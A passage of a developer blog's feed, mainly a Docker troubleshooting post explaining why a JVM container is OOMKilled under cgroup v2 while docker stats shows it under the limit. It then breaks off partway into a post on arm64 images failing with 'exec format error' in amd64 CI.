</ul>]]></content><author><name>Mayur</name></author><category term="databases" /><category term="databases" /><category term="troubleshooting" /><category term="debugging" /><category term="postgresql" /><category term="explain-analyze" /><category term="autovacuum" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: an indexed query that takes 8ms in dev does a 4-second sequential scan in production against the same schema. The root cause is stale planner statistics — autovacuum's analyze threshold scales with table size, so a 204-million-row table needs 20 million modifications before autoanalyze fires. Trace the fix through EXPLAIN (ANALYZE, BUFFERS) estimated-vs-actual rows, pg_stat_user_tables.n_mod_since_analyze, and pg_stats.most_common_freqs.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/db-query-fast-in-dev-slow-in-prod.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/db-query-fast-in-dev-slow-in-prod.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Docker: Why Is My Container OOMKilled When docker stats Shows It Under the Limit?</title><link href="https://mayurjp.github.io/dev-blog/docker/docker-oomkilled-low-memory/" rel="alternate" type="text/html" title="Docker: Why Is My Container OOMKilled When docker stats Shows It Under the Limit?" /><published>2026-09-02T03:30:00+00:00</published><updated>2026-09-02T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/docker/docker-oomkilled-low-memory</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/docker/docker-oomkilled-low-memory/"><![CDATA[<p><strong>TL;DR:</strong> Three different numbers are being compared as if they were the same number. The app reports <em>heap</em>, <code class="language-plaintext highlighter-rouge">docker stats</code> reports <code class="language-plaintext highlighter-rouge">memory.current</code> <em>minus</em> <code class="language-plaintext highlighter-rouge">inactive_file</code>, and the kernel enforces <code class="language-plaintext highlighter-rouge">memory.max</code> against <code class="language-plaintext highlighter-rouge">memory.current</code> in full — including page cache, slab and kernel stacks. The container is over the limit even though every dashboard says it isn’t.</p>
<blockquote>
  <p><strong>In plain English (30 sec):</strong> Think of this like concepts you already use, but in a production system at scale.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“Our ingest service gets killed roughly every forty minutes. <code class="language-plaintext highlighter-rouge">--memory=1g</code>, and the JVM’s own <code class="language-plaintext highlighter-rouge">/actuator/metrics/jvm.memory.used</code> gauge peaks around 420 MB against a 512 MB max heap. <code class="language-plaintext highlighter-rouge">docker stats</code> never showed it above 680 MiB either — I watched it. But <code class="language-plaintext highlighter-rouge">docker inspect</code> says <code class="language-plaintext highlighter-rouge">OOMKilled: true</code> and the exit code is 137. The host has 60 GB free. There is no leak: the heap flattens out, the GC logs are boring, and a heap dump shows nothing retained.”</p>
</blockquote>

<p>The heap being flat is what rules out the obvious answers. It is not a leak, it is not GC tuning, and it is not host pressure. Every tool the team looked at was reporting a number that genuinely was under the limit — just not the number the kernel uses to decide.</p>

<h2 id="reproduce">Reproduce</h2>

<p>A container with a modest heap ceiling, a normal amount of file I/O, and a memory limit that looks generous:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">-d</span> <span class="nt">--name</span> ingest <span class="se">\</span>
  <span class="nt">--memory</span><span class="o">=</span>1g <span class="se">\</span>
  <span class="nt">-e</span> <span class="nv">JAVA_TOOL_OPTIONS</span><span class="o">=</span><span class="s2">"-Xmx512m"</span> <span class="se">\</span>
  <span class="nt">-v</span> /var/data/ingest:/data <span class="se">\</span>
  registry.example.com/ingest:2.7.1
</code></pre></div></div>

<p>The workload streams inbound batches to <code class="language-plaintext highlighter-rouge">/data</code> and re-reads recent files. Within an hour:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker inspect <span class="nt">--format</span> <span class="s1">'{{.State.OOMKilled}} {{.State.ExitCode}}'</span> ingest
<span class="c"># true 137</span>
</code></pre></div></div>

<p>137 is <code class="language-plaintext highlighter-rouge">128 + 9</code> — the process was SIGKILLed. <code class="language-plaintext highlighter-rouge">OOMKilled: true</code> narrows that to the OOM killer specifically, not a <code class="language-plaintext highlighter-rouge">docker stop</code> timeout (which also produces 137, with <code class="language-plaintext highlighter-rouge">OOMKilled: false</code>).</p>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-docker-stats-is-not-showing-you-what-the-kernel-enforces">1. <code class="language-plaintext highlighter-rouge">docker stats</code> is not showing you what the kernel enforces</h3>

<p>The CLI does not print <code class="language-plaintext highlighter-rouge">memory.current</code> raw. It subtracts a cache term first. This is <code class="language-plaintext highlighter-rouge">calculateMemUsageUnixNoCache</code> in <code class="language-plaintext highlighter-rouge">docker/cli</code>, verbatim:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">calculateMemUsageUnixNoCache</span><span class="p">(</span><span class="n">mem</span> <span class="n">container</span><span class="o">.</span><span class="n">MemoryStats</span><span class="p">)</span> <span class="kt">float64</span> <span class="p">{</span>
	<span class="c">// cgroup v1</span>
	<span class="k">if</span> <span class="n">v</span><span class="p">,</span> <span class="n">isCgroup1</span> <span class="o">:=</span> <span class="n">mem</span><span class="o">.</span><span class="n">Stats</span><span class="p">[</span><span class="s">"total_inactive_file"</span><span class="p">];</span> <span class="n">isCgroup1</span> <span class="o">&amp;&amp;</span> <span class="n">v</span> <span class="o">&lt;</span> <span class="n">mem</span><span class="o">.</span><span class="n">Usage</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kt">float64</span><span class="p">(</span><span class="n">mem</span><span class="o">.</span><span class="n">Usage</span> <span class="o">-</span> <span class="n">v</span><span class="p">)</span>
	<span class="p">}</span>
	<span class="c">// cgroup v2</span>
	<span class="k">if</span> <span class="n">v</span> <span class="o">:=</span> <span class="n">mem</span><span class="o">.</span><span class="n">Stats</span><span class="p">[</span><span class="s">"inactive_file"</span><span class="p">];</span> <span class="n">v</span> <span class="o">&lt;</span> <span class="n">mem</span><span class="o">.</span><span class="n">Usage</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kt">float64</span><span class="p">(</span><span class="n">mem</span><span class="o">.</span><span class="n">Usage</span> <span class="o">-</span> <span class="n">v</span><span class="p">)</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="kt">float64</span><span class="p">(</span><span class="n">mem</span><span class="o">.</span><span class="n">Usage</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>On the daemon side, <code class="language-plaintext highlighter-rouge">mem.Usage</code> for cgroup v2 is mapped straight from <code class="language-plaintext highlighter-rouge">memory.current</code> and <code class="language-plaintext highlighter-rouge">Limit</code> from <code class="language-plaintext highlighter-rouge">memory.max</code> (moby’s <code class="language-plaintext highlighter-rouge">daemon/stats_unix.go</code>, <code class="language-plaintext highlighter-rouge">statsV2</code>). So the <code class="language-plaintext highlighter-rouge">MEM USAGE</code> column is <code class="language-plaintext highlighter-rouge">memory.current − inactive_file</code>. The kernel’s limit check is against <code class="language-plaintext highlighter-rouge">memory.current</code>, full stop. The difference between those two numbers is exactly the amount by which <code class="language-plaintext highlighter-rouge">docker stats</code> will under-report — and on an I/O-heavy container it is not small.</p>

<p>Two cgroup v1 → v2 differences bite here, both visible in moby’s own conversion code:</p>

<ul>
  <li>The <code class="language-plaintext highlighter-rouge">Stats</code> map keys are different. v1 exposes <code class="language-plaintext highlighter-rouge">total_inactive_file</code>, <code class="language-plaintext highlighter-rouge">cache</code>, <code class="language-plaintext highlighter-rouge">rss</code>. v2 exposes <code class="language-plaintext highlighter-rouge">inactive_file</code>, <code class="language-plaintext highlighter-rouge">file</code>, <code class="language-plaintext highlighter-rouge">anon</code>. moby’s source comments this as <em>“Stats is not compatible with v1”</em>. A dashboard query written against <code class="language-plaintext highlighter-rouge">container_memory_stats_cache</code> on a v1 host returns nothing on a v2 host.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">MaxUsage</code> is not supported on cgroup v2.</strong> v1 had <code class="language-plaintext highlighter-rouge">memory.max_usage_in_bytes</code>, so <code class="language-plaintext highlighter-rouge">docker stats</code> and the API could show a high-water mark. On v2 that field is simply absent from the API response, which is why nobody on the team saw a peak — there was no peak to see.</li>
</ul>

<h3 id="2-the-applications-number-is-heap-and-heap-is-a-fraction-of-rss">2. The application’s number is heap, and heap is a fraction of RSS</h3>

<p><code class="language-plaintext highlighter-rouge">-Xmx512m</code> caps one region. Outside it, and all counted against the same cgroup: metaspace, the JIT code cache, one stack per thread (1 MiB default on 64-bit Linux), GC bookkeeping structures, direct <code class="language-plaintext highlighter-rouge">ByteBuffer</code> allocations, and glibc’s per-thread malloc arenas. A JVM with a 512 MiB heap routinely sits at 850 MiB–1 GiB RSS. The gauge was honest; it was measuring a different thing.</p>

<h3 id="3-memorycurrent-counts-page-cache--and-the-kill-happens-when-reclaim-cant-free-it-fast-enough">3. <code class="language-plaintext highlighter-rouge">memory.current</code> counts page cache — and the kill happens when reclaim can’t free it fast enough</h3>

<p>This is where most internet advice goes wrong in one of two directions. The accurate version:</p>

<p>The kernel doc defines <code class="language-plaintext highlighter-rouge">memory.current</code> as “the total amount of memory currently being used by the cgroup and its descendants,” and that <strong>does</strong> include page cache. <code class="language-plaintext highlighter-rouge">memory.max</code> is the “memory usage hard limit,” and when it is reached the kernel <strong>attempts reclaim first</strong>; only if memory cannot be freed sufficiently is “the OOM killer invoked in the cgroup.”</p>

<p>So clean page cache alone does not kill you — it gets reclaimed. What kills you is when the reclaimable portion is too small to cover the shortfall. Read it directly from inside the container — dockerd’s <code class="language-plaintext highlighter-rouge">--default-cgroupns-mode</code> defaults to <code class="language-plaintext highlighter-rouge">private</code>, so <code class="language-plaintext highlighter-rouge">/sys/fs/cgroup</code> inside the container is the container’s own cgroup, not the host’s root:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> /sys/fs/cgroup/memory.max
1073741824
<span class="nv">$ </span><span class="nb">cat</span> /sys/fs/cgroup/memory.current
1073405952
<span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'^(anon|file|file_dirty|file_writeback|inactive_file|slab|kernel_stack|sock) '</span> <span class="se">\</span>
    /sys/fs/cgroup/memory.stat
anon 723517440
file 297271296
file_dirty 188743680
file_writeback 52428800
inactive_file 62914560
slab 41943040
kernel_stack 10485760
sock 2097152
<span class="nv">$ </span><span class="nb">cat</span> /sys/fs/cgroup/memory.events
low 0
high 0
max 4127
oom 6
oom_kill 1
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">memory.current</code> is 1023 MiB of a 1024 MiB limit. <code class="language-plaintext highlighter-rouge">anon</code> alone is 690 MiB — that is the JVM’s real footprint, not the 420 MiB the gauge showed. Of the 283 MiB of page cache, only <code class="language-plaintext highlighter-rouge">inactive_file</code> (60 MiB) is cheaply reclaimable; 180 MiB is dirty and 50 MiB is already in writeback, and neither can be freed until the write completes. <code class="language-plaintext highlighter-rouge">docker stats</code> subtracted exactly that 60 MiB and showed ~963 MiB — still under 1 GiB, still “fine.”</p>

<p><code class="language-plaintext highlighter-rouge">memory.events</code> is the confirming artifact. <code class="language-plaintext highlighter-rouge">max 4127</code> counts how many times usage was about to exceed the limit; <code class="language-plaintext highlighter-rouge">oom_kill 1</code> counts processes killed by any OOM killer in this cgroup. Note that moby maps <code class="language-plaintext highlighter-rouge">Failcnt</code> in the stats API to the <code class="language-plaintext highlighter-rouge">oom</code> field of <code class="language-plaintext highlighter-rouge">memory.events</code> on v2 — it is <em>not</em> the v1 <code class="language-plaintext highlighter-rouge">failcnt</code> counter, so a v1-era alert on <code class="language-plaintext highlighter-rouge">failcnt</code> means something different after a v2 migration.</p>

<pre><code class="language-mermaid">sequenceDiagram
    autonumber
    participant JVM as ingest JVM — Xmx512m
    participant CG as cgroup memory.max = 1073741824
    participant RC as kernel direct reclaim
    participant WB as writeback to /data
    participant OOM as cgroup OOM killer

    JVM-&gt;&gt;CG: allocate — heap 420 MiB, anon total 690 MiB
    Note over CG: memory.current = anon 690 plus file 283 plus slab 40 plus stacks 10
    CG-&gt;&gt;RC: memory.current would exceed memory.max — reclaim before failing
    RC-&gt;&gt;RC: free inactive_file 60 MiB — clean pages only
    RC-&gt;&gt;WB: file_dirty 180 MiB cannot be freed until written
    WB--&gt;&gt;RC: still in flight
    Note over RC: 60 MiB freed, allocation still cannot be satisfied

    rect rgb(248, 215, 218)
    RC-&gt;&gt;OOM: reclaim failed
    OOM-&gt;&gt;JVM: SIGKILL to the largest task in the cgroup
    Note over OOM: memory.events oom_kill 1
    Note over JVM: exit 137, State.OOMKilled true
    end
</code></pre>

<h3 id="4-the-heap-flag-is-what-turned-tight-into-fatal">4. The heap flag is what turned “tight” into “fatal”</h3>

<p><code class="language-plaintext highlighter-rouge">-Xmx512m</code> in a 1 GiB container leaves ~512 MiB for metaspace, code cache, thread stacks, direct buffers, malloc arenas <strong>and</strong> every page of file cache the workload touches. Raising <code class="language-plaintext highlighter-rouge">-Xmx</code> — the instinctive response to an OOM — makes it strictly worse, because it hands more of a fixed budget to one region.</p>

<p>There is a nastier version of this on older JDKs. <code class="language-plaintext highlighter-rouge">-XX:+UseContainerSupport</code> is on by default and reads the cgroup limit, but <strong>cgroup v2 detection was only added in OpenJDK 15, and backported to 11.0.16 and 8u372.</strong> On a cgroup-v2-only host, a JDK older than those sees no container at all: it falls back to host RAM, applies the default <code class="language-plaintext highlighter-rouge">MaxRAMPercentage</code> of <code class="language-plaintext highlighter-rouge">25.0</code> (verified in HotSpot’s <code class="language-plaintext highlighter-rouge">gc_globals.hpp</code>), and on a 64 GiB node sizes a 16 GiB max heap inside a 1 GiB container. It will grow until it is killed, every time, and the JVM will insist nothing is wrong.</p>

<h2 id="the-fix">The fix</h2>

<p>Size the container from RSS, and size the heap from the cgroup limit rather than pinning it with an absolute number.</p>

<div class="language-dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># MaxRAMPercentage is applied to whatever UseContainerSupport detected —</span>
<span class="c"># /sys/fs/cgroup/memory.max, not host RAM. Do not also set -Xmx: an absolute</span>
<span class="c"># value silently overrides the percentage and reintroduces the original bug.</span>
<span class="k">ENV</span><span class="s"> JAVA_TOOL_OPTIONS="\</span>
  -XX:MaxRAMPercentage=60 \
  -XX:MaxMetaspaceSize=192m \
  -XX:MaxDirectMemorySize=64m \
  -XX:NativeMemoryTracking=summary"

# glibc allocates up to 8 arenas per core by default, each backed by its own
<span class="c"># heap — the single largest source of "RSS is way above Xmx" on many-core hosts</span>
<span class="k">ENV</span><span class="s"> MALLOC_ARENA_MAX=2</span>
</code></pre></div></div>

<p>The arithmetic, out loud, for <code class="language-plaintext highlighter-rouge">--memory=1g</code>:</p>

<table>
  <thead>
    <tr>
      <th>Region</th>
      <th>Budget</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Java heap (<code class="language-plaintext highlighter-rouge">MaxRAMPercentage=60</code>)</td>
      <td>614 MiB</td>
    </tr>
    <tr>
      <td>Metaspace ceiling</td>
      <td>192 MiB</td>
    </tr>
    <tr>
      <td>Direct byte buffers</td>
      <td>64 MiB</td>
    </tr>
    <tr>
      <td>Thread stacks, code cache, GC structures, slab</td>
      <td>~120 MiB</td>
    </tr>
    <tr>
      <td>Headroom for page cache and writeback</td>
      <td>remainder</td>
    </tr>
  </tbody>
</table>

<p>That is deliberately tight — it is the point. If the sum of the explicit ceilings exceeds the limit, you have a design problem the kernel is going to find for you. Raise <code class="language-plaintext highlighter-rouge">--memory</code> to <code class="language-plaintext highlighter-rouge">1.5g</code> before raising <code class="language-plaintext highlighter-rouge">MaxRAMPercentage</code> past 70 on a container this size; percentage-based sizing works best when the absolute remainder is large enough to absorb native allocations, and 30% of 1 GiB is not much.</p>

<p>Do not reach for <code class="language-plaintext highlighter-rouge">--oom-kill-disable</code>. Docker’s own resource-constraints doc pairs it with a warning, and a container that is over its limit and cannot be killed becomes a stuck process holding memory the host wanted back.</p>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Alert on <code class="language-plaintext highlighter-rouge">memory.events</code>, not on <code class="language-plaintext highlighter-rouge">docker stats</code>.</strong> The <code class="language-plaintext highlighter-rouge">max</code> counter climbing is the early warning — it increments every time usage is about to breach the limit, long before <code class="language-plaintext highlighter-rouge">oom_kill</code> increments. A container with <code class="language-plaintext highlighter-rouge">max</code> in the thousands and <code class="language-plaintext highlighter-rouge">oom_kill 0</code> is one traffic spike away from a page.</p>
  </li>
  <li>
    <p><strong>Confirm which cgroup version you are actually on.</strong> <code class="language-plaintext highlighter-rouge">stat -fc %T /sys/fs/cgroup</code> returns <code class="language-plaintext highlighter-rouge">cgroup2fs</code> on v2 and <code class="language-plaintext highlighter-rouge">tmpfs</code> on v1. Then confirm the runtime agrees: <code class="language-plaintext highlighter-rouge">java -Xlog:os+container=trace -version</code> prints exactly what the JVM detected. If those disagree, your JDK is too old for v2 detection and every heap-sizing flag you set is being applied to the wrong number.</p>
  </li>
  <li>
    <p><strong>Turn on Native Memory Tracking before you need it.</strong> With <code class="language-plaintext highlighter-rouge">-XX:NativeMemoryTracking=summary</code> set, <code class="language-plaintext highlighter-rouge">jcmd &lt;pid&gt; VM.native_memory summary</code> breaks RSS into heap / class / thread / code / GC / internal. This is the only way to answer “the heap is 420 MiB, where are the other 270 MiB” without guessing.</p>
  </li>
  <li>
    <p><strong>The adjacent failure: CPU throttling.</strong> Containers sized this tightly usually have <code class="language-plaintext highlighter-rouge">--cpus</code> set too, and <code class="language-plaintext highlighter-rouge">memory.events</code> climbing often coincides with <code class="language-plaintext highlighter-rouge">cpu.stat</code>’s <code class="language-plaintext highlighter-rouge">nr_throttled</code> climbing — GC threads that can’t get scheduled don’t reclaim, which makes the memory picture worse. Check both files together, not one at a time.</p>
  </li>
  <li>
    <p><strong>Watch <code class="language-plaintext highlighter-rouge">--memory-swap</code>.</strong> If the host has swap and you set <code class="language-plaintext highlighter-rouge">--memory</code> without <code class="language-plaintext highlighter-rouge">--memory-swap</code>, the container gets swap headroom, which changes the failure mode from a kill into severe latency. Most CI runners and Kubernetes nodes have swap off entirely, so behaviour differs between your test host and production.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />No container sets an absolute <code class="language-plaintext highlighter-rouge">-Xmx</code> — heap is derived from the cgroup limit via <code class="language-plaintext highlighter-rouge">-XX:MaxRAMPercentage</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />The base image’s JDK is at least 11.0.16 / 8u372 / 15, so <code class="language-plaintext highlighter-rouge">UseContainerSupport</code> can read cgroup v2</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Monitoring reads <code class="language-plaintext highlighter-rouge">memory.current</code> and <code class="language-plaintext highlighter-rouge">memory.events</code> directly, not the <code class="language-plaintext highlighter-rouge">docker stats</code> <code class="language-plaintext highlighter-rouge">MEM USAGE</code> column, which subtracts <code class="language-plaintext highlighter-rouge">inactive_file</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">MaxMetaspaceSize</code> and <code class="language-plaintext highlighter-rouge">MaxDirectMemorySize</code> have explicit ceilings, so RSS has a computable upper bound</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Dashboards migrated off cgroup v1 stat keys (<code class="language-plaintext highlighter-rouge">total_inactive_file</code>, <code class="language-plaintext highlighter-rouge">cache</code>, <code class="language-plaintext highlighter-rouge">rss</code>) to the v2 keys (<code class="language-plaintext highlighter-rouge">inactive_file</code>, <code class="language-plaintext highlighter-rouge">file</code>, <code class="language-plaintext highlighter-rouge">anon</code>)</li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>If page cache is reclaimable, why does it matter that <code class="language-plaintext highlighter-rouge">memory.current</code> counts it?</strong>
Because “reclaimable” is conditional. Only clean pages can be dropped immediately. <code class="language-plaintext highlighter-rouge">file_dirty</code> and <code class="language-plaintext highlighter-rouge">file_writeback</code> pages have to reach the disk first, and under a write-heavy workload they accumulate faster than writeback drains them. Reclaim then fails to free enough within the allocation’s deadline and the kernel invokes the OOM killer — the exact path <code class="language-plaintext highlighter-rouge">memory.events</code>’ <code class="language-plaintext highlighter-rouge">max</code> counter is counting.</p>

<p><strong>Why does <code class="language-plaintext highlighter-rouge">docker stats</code> subtract <code class="language-plaintext highlighter-rouge">inactive_file</code> at all?</strong>
To make the number comparable to how cadvisor and containerd/CRI report container memory, so that a container doing heavy I/O doesn’t appear pinned at 100%. It is a reasonable display choice and a bad enforcement proxy — the two numbers answer different questions, and the CLI’s is not the one the kernel asks.</p>

<p><strong>The exit code is 137 but <code class="language-plaintext highlighter-rouge">OOMKilled</code> is false. Same problem?</strong>
No. 137 is <code class="language-plaintext highlighter-rouge">128 + SIGKILL</code>, and plenty of things send SIGKILL — most commonly <code class="language-plaintext highlighter-rouge">docker stop</code> escalating after its grace period. <code class="language-plaintext highlighter-rouge">OOMKilled: true</code> is what specifically identifies the cgroup OOM killer. With it false, check the host’s <code class="language-plaintext highlighter-rouge">dmesg</code> for a system-wide OOM event and check whether something stopped the container.</p>

<p><strong>Can I just watch the peak memory instead of the current value?</strong>
Not through <code class="language-plaintext highlighter-rouge">docker stats</code> on cgroup v2 — moby’s stats conversion marks <code class="language-plaintext highlighter-rouge">MaxUsage</code> as unsupported there, so the field the v1 API populated from <code class="language-plaintext highlighter-rouge">memory.max_usage_in_bytes</code> is simply absent. Use the <code class="language-plaintext highlighter-rouge">oom</code> / <code class="language-plaintext highlighter-rouge">oom_kill</code> / <code class="language-plaintext highlighter-rouge">max</code> counters in <code class="language-plaintext highlighter-rouge">memory.events</code>, which are cumulative and therefore survive the sampling gaps that a point-in-time gauge misses.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> container exits 137 with <code class="language-plaintext highlighter-rouge">State.OOMKilled: true</code> while both the JVM heap gauge and <code class="language-plaintext highlighter-rouge">docker stats</code> report usage well under <code class="language-plaintext highlighter-rouge">--memory</code></li>
  <li><strong>Domain:</strong> docker</li>
  <li><strong>Docs/Repo:</strong> <a href="https://docs.kernel.org/admin-guide/cgroup-v2.html">Linux kernel cgroup v2 admin guide</a> — the definitions of <code class="language-plaintext highlighter-rouge">memory.current</code> (includes page cache), <code class="language-plaintext highlighter-rouge">memory.max</code> (reclaim first, then invoke the OOM killer), and <code class="language-plaintext highlighter-rouge">memory.events</code>’ <code class="language-plaintext highlighter-rouge">max</code> / <code class="language-plaintext highlighter-rouge">oom</code> / <code class="language-plaintext highlighter-rouge">oom_kill</code> counters</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/docker/cli/blob/master/cli/command/container/stats_helpers.go">docker/cli — <code class="language-plaintext highlighter-rouge">cli/command/container/stats_helpers.go</code></a> — <code class="language-plaintext highlighter-rouge">calculateMemUsageUnixNoCache</code>, quoted verbatim, showing the <code class="language-plaintext highlighter-rouge">inactive_file</code> subtraction and the v1/v2 key split</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/moby/moby/blob/master/daemon/stats_unix.go">moby/moby — <code class="language-plaintext highlighter-rouge">daemon/stats_unix.go</code></a> — the cgroup v2 mapping of <code class="language-plaintext highlighter-rouge">Usage</code> to <code class="language-plaintext highlighter-rouge">memory.current</code>, <code class="language-plaintext highlighter-rouge">Failcnt</code> to <code class="language-plaintext highlighter-rouge">memory.events</code>’ <code class="language-plaintext highlighter-rouge">oom</code> field, and the <code class="language-plaintext highlighter-rouge">MaxUsage is not supported</code> comment</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/openjdk/jdk/blob/master/src/hotspot/share/gc/shared/gc_globals.hpp">OpenJDK — <code class="language-plaintext highlighter-rouge">src/hotspot/share/gc/shared/gc_globals.hpp</code></a> — <code class="language-plaintext highlighter-rouge">MaxRAMPercentage</code> default <code class="language-plaintext highlighter-rouge">25.0</code>, <code class="language-plaintext highlighter-rouge">MinRAMPercentage</code> default <code class="language-plaintext highlighter-rouge">50.0</code></li>
  <li><strong>Docs/Repo:</strong> <a href="https://bugs.openjdk.org/browse/JDK-8230305">JDK-8230305 Cgroups v2: Container awareness</a> — the change that added cgroup v2 detection, backported to 11.0.16 and 8u372</li>
</ul>]]></content><author><name>Mayur</name></author><category term="docker" /><category term="docker" /><category term="troubleshooting" /><category term="debugging" /><category term="cgroups" /><category term="memory" /><category term="jvm" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: a container exits 137 with State.OOMKilled true while the application's own heap gauge and `docker stats` both show it comfortably under `--memory`. The root cause is that the kernel checks `memory.current` — anonymous memory plus page cache plus slab — against `memory.max`, while `docker stats` subtracts `inactive_file` first and the JVM reports only its heap. Trace the fix through the cgroup v2 files, `memory.events`, and container-aware heap sizing.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/docker-oomkilled-low-memory.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/docker-oomkilled-low-memory.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Docker: Why Does My Image Run Locally but Fail With exec format error in CI?</title><link href="https://mayurjp.github.io/dev-blog/docker/docker-works-locally-fails-in-ci/" rel="alternate" type="text/html" title="Docker: Why Does My Image Run Locally but Fail With exec format error in CI?" /><published>2026-09-02T03:30:00+00:00</published><updated>2026-09-02T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/docker/docker-works-locally-fails-in-ci</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/docker/docker-works-locally-fails-in-ci/"><![CDATA[<p><strong>TL;DR:</strong> The image is not broken — it is <code class="language-plaintext highlighter-rouge">linux/arm64</code>. A plain <code class="language-plaintext highlighter-rouge">docker build</code> on an Apple Silicon Mac builds only for the builder’s own platform, the classic image store can’t store a manifest list, so what lands in the registry is one arm64 manifest with no platform choice in it. The amd64 CI runner pulls it anyway and the kernel refuses to <code class="language-plaintext highlighter-rouge">execve()</code> an aarch64 ELF binary.</p>
<blockquote>
  <p><strong>In plain English (30 sec):</strong> Think of this like concepts you already use, but in a production system at scale.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“I build and push from my MacBook, then the deploy job in CI pulls the exact same tag and the container is dead before it logs anything: <code class="language-plaintext highlighter-rouge">exec /app/server: exec format error</code>. The image is fine — I run it locally every day. The digest CI reports is byte-for-byte the digest I pushed. It’s a static Go binary, so there’s no shell and no shebang to get wrong, and <code class="language-plaintext highlighter-rouge">/app/server</code> definitely exists because the build stage <code class="language-plaintext highlighter-rouge">COPY</code>d it.”</p>
</blockquote>

<p>That rules out the three things people reach for first. It isn’t a missing binary (the layer is there and the digest matches). It isn’t a CRLF shebang, because a static Go binary has no interpreter line. And it isn’t a musl-vs-glibc mismatch, because a <code class="language-plaintext highlighter-rouge">CGO_ENABLED=0</code> binary has no dynamic loader to fail. <code class="language-plaintext highlighter-rouge">exec format error</code> is <code class="language-plaintext highlighter-rouge">ENOEXEC</code> coming straight out of the kernel’s ELF loader — the file is a valid executable, just not for this CPU.</p>

<h2 id="reproduce">Reproduce</h2>

<p>On an Apple Silicon Mac, with the default builder and no <code class="language-plaintext highlighter-rouge">--platform</code> anywhere:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Nothing here says "arm64" — that is the point.</span>
docker build <span class="nt">-t</span> registry.example.com/api:1.4.0 <span class="nb">.</span>
docker push registry.example.com/api:1.4.0
</code></pre></div></div>

<p>Then, on any amd64 runner (<code class="language-plaintext highlighter-rouge">ubuntu-latest</code> is x86_64):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">--rm</span> registry.example.com/api:1.4.0
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>WARNING: The requested image's platform (linux/arm64/v8) does not match the
detected host platform (linux/amd64/v3) and no specific platform was requested
exec /app/server: exec format error
</code></pre></div></div>

<p>The warning is the whole diagnosis, and it is easy to scroll past in a CI log because the daemon prints it on every pull, not just on failure.</p>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-docker-build-has-exactly-one-default-platform-the-builders-own">1. <code class="language-plaintext highlighter-rouge">docker build</code> has exactly one default platform: the builder’s own</h3>

<p>BuildKit resolves <code class="language-plaintext highlighter-rouge">BUILDPLATFORM</code> from the machine doing the building. On an M-series Mac that is <code class="language-plaintext highlighter-rouge">linux/arm64</code>. Nothing in the Dockerfile or the CLI invocation opts into anything else, and <code class="language-plaintext highlighter-rouge">DOCKER_DEFAULT_PLATFORM</code> is unset, so <code class="language-plaintext highlighter-rouge">TARGETPLATFORM</code> collapses to the same value. The build succeeds, the image works locally, and no warning is printed — locally, the platform matches.</p>

<h3 id="2-the-classic-image-store-cannot-represent-a-multi-platform-image">2. The classic image store cannot represent a multi-platform image</h3>

<p>This is the part that surprises people who <em>did</em> try to fix it by adding <code class="language-plaintext highlighter-rouge">--platform</code>. Docker’s classic (pre-containerd) image store has no way to hold an OCI image index or a Docker manifest list. Ask the default <code class="language-plaintext highlighter-rouge">docker</code> driver for two platforms and buildx refuses outright:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ERROR: Multi-platform build is not supported for the docker driver.
Switch to a different driver, or turn on the containerd image store, and try again.
</code></pre></div></div>

